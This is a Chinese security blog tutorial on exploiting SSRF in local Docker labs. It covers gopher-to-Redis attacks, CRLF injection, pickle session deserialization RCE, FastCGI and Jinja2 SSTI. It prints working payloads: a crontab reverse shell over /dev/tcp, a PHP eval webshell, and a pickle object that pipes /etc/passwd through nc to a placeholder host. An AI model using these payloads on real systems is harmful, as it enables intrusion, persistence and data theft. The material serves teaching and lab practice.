Skip to content
Kurisu
Go back

SSRF 深入利用:gopher 打 Redis 三板斧与 Session 反序列化 RCE

之前的基础系列里只把 SSRF 当”探内网端口”的工具用过。这次课程连着两讲把它讲穿了:SSRF 真正的价值是借外网可达的服务器,把请求发进内网,并且按任意协议说话。配合课程发了两个靶场(web-ssrfmeWeb-Hacking-Lab),本文所有复现都在本地 Docker 完成。

0x01 靶场与入口

两个靶场入口都是一个”在线 fetch”页面,区别在过滤:

// web-ssrfme:有黑名单
if(preg_match('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is', $url, $match))
    die('No, No, No!');
curl($url);

// Web-Hacking-Lab:POST url,无任何过滤,回显 curl 结果
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);

0x02 黑名单绕过速查

针对 127.0.0.1 / localhost 这类关键词,可替换的等价形式:

http://0.0.0.0/          http://127.1/
http://0x7f000001/       http://2130706433/        (十六进制/十进制整数)
http://[::1]/            http://0177.0.0.1/        (IPv6/八进制)
http://a:80@127.0.0.1/                             (URL 解析差异)
302 跳转:外网短链/自建跳板 → Location: http://127.0.0.1:6379
DNS Rebind:TTL=0 的 A 记录在两次解析间切换 IP

file://dict:// 被禁不代表没路——gopher:// 往往才是漏网之鱼,而它恰是最强的一个:能以任意协议、携带任意字节流发 TCP 请求,是下面所有利用的载体。

0x03 gopher 打 Redis:先看协议再看 payload

Redis 客户端和服务端之间是 RESP 文本协议,所以可以用 NC 式的裸命令通信。gopher 的语法是 gopher://host:port/_<URL编码后的TCP数据流>,下划线后的内容会被原样发出去。

手写 payload 的核心只有一个函数——把一行命令转成 RESP 格式:

def generate_resp(command):
    command = command.split(" ")
    res = "*{}\n".format(len(command))          # 参数个数
    for cmd in command:
        res += "${}\n".format(len(cmd))         # 每段长度
        res += "{}\n".format(cmd)
    return res

拼好若干条命令后统一 urllib.quote 编码塞进 gopher URL,注意换行必须替换成 \r\n(Redis 协议要求 CRLF)。

三板斧

课程脚本 payload_redis.py 给了三条路,前提都是 Redis 未授权或拿到弱口令:

① crontab 反弹 shell(写 /var/spool/cron/root,CentOS 路径;Ubuntu 是 /var/spool/cron/crontabs/root):

flushall
set 1 "\n\n*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/<IP>/<PORT> 0>&1'\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

② SSH 公钥写入config set dir /root/.ssh/ + config set dbfilename authorized_keys),公钥前后记得带换行保证独立成行。

③ 写 WebShell(知道 Web 根目录时):

config set dir /var/www/html/
config set dbfilename shell.php
set 1 "<?php @eval($_POST['x']);?>"
save

通用四步:flushall → set → config set dir/dbfilename → save。变的只是写什么文件、写到哪。

数据外带视角:CRLF 进 Redis

Web-Hacking-Lab 里的进阶靶(pickle-redis)入口是一个 Flask 的 fetch 接口,用 Python httplib 发请求——httplib 对 path 不做 CRLF 过滤,于是可以:

POST / → url=http://127.0.0.1:6379/
GET /%0d%0aflushall%0d%0aset%20x%20... HTTP/1.1

path 里的 %0d%0a 解码成 CRLF,Redis 把后续每行当独立命令执行。不需要 gopher,HTTP 通道里也能说 RESP。

0x04 进阶链:SSRF + Redis Session 反序列化 RCE

这是整个靶场最漂亮的一条链,把”Redis 当 Session 存储”变成了武器:

漏洞前提:Flask 应用用自定义 RedisSessionInterface,且 serializer = pickle——session 存取走 pickle.loads()

class RedisSessionInterface(SessionInterface):
    serializer = pickle
    prefix = 'session:'

    def open_session(self, app, request):
        sid = request.cookies.get(app.session_cookie_name)
        val = self.redis.get(self.prefix + sid)      # 从 Redis 取
        if val is not None:
            data = self.serializer.loads(base64.b64decode(val))   # ← 反序列化点
            ...
    def save_session(self, ...):
        val = base64.b64encode(self.serializer.dumps(dict(session)))
        self.redis.setex(self.prefix + session.sid, ...)          # ← 写入点

攻击闭环(四步):

  1. 构造 pickle 恶意对象并 base64(__reduce__ 返回 (os.system, ("cmd",)));
  2. 通过 SSRF/CRLF 往 Redis 写一个 key:SET session:<恶意sid> <base64 payload>
  3. 把自己 Cookie 的 session id 改成 <恶意sid>
  4. 带着新 Cookie 访问站点 → open_session 从 Redis 读到恶意 key → pickle.loads → RCE。

本质上这是把之前 PHP 反序列化笔记里的”不可信数据进入 unserialize”换了个传输层:漏洞判据不看协议,看”谁的数据被反序列化了”

配套的脚本最后一步:

class PickleExploit(object):
    def __reduce__(self):
        return (os.system, ('cat /etc/passwd | nc <IP> <PORT>',))

pickle.dumps(PickleExploit())   # base64 后写进 Redis 的 session: key

0x05 SSRF 直打内网 FastCGI

反复验证下来的架构认知:Nginx 只是”内容分发者”,它收到 PHP 请求后会封装成 FastCGI 数据包转发给 PHP-FPM(如 127.0.0.1:9000)。这个端口本来只对内网暴露,但如果外网 Web 存在 SSRF,就能借它直接对 9000 端口说 FastCGI 协议。

FastCGI 利用面在于协议报文里有一个 PHP_VALUE/PHP_ADMIN_VALUE 参数可以注入环境配置——把 allow_url_include 打开、auto_prepend_file=php://input,等效于任意文件包含,直接 RCE。gopherus 一类工具能自动生成这段报文:

gopher://127.0.0.1:9000/_<FastCGI 报文,含 PHP_VALUE: allow_url_include=1...>

这和 SSRF 打 Redis 是同一个心智模型:内网服务信任了”来自本机的请求”,而 SSRF 伪造了这个信任源。

0x06 Python SSRF 场景的连带伤害:Jinja2 SSTI

课程把 Python 场景串成一条线:Flask 的 fetch 接口如果还把用户输入拼进 render_template_string,SSRF 之外又多一个 SSTI 面:

{{ ''.__class__.__mro__[1].__subclasses__() }}        # 枚举基类找 os._wrap_close
{{ c.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("id").read()') }}

排查 Python 应用时,SSRF 和 SSTI 往往在同一批参数里,值得一起测。

0x07 复现环境清单

# web-ssrfme:Apache+PHP(黑名单 SSRF 入口)+ Redis 3.2.11(未授权)
services:
  web:   { image: web,   ports: ["8091:80"] }
  redis: { image: redis }

Web-Hacking-Lab 的 compose 起两个容器:centos(Redis 未授权 + cron 可写的完整靶机,privileged)和 pickle-redis(Flask + Redis session,3333 端口)。复现顺序建议:黑名单绕过 → gopher 三板斧 → pickle session 链 → FastCGI。

参考


Share this post:

Previous Post
文件包含的高阶玩法:从日志包含到 php://filter chain RCE 与一次高校内网实战
Next Post
SQL 注入绕过手册:从空格逗号到雷池 WAF 的分层思路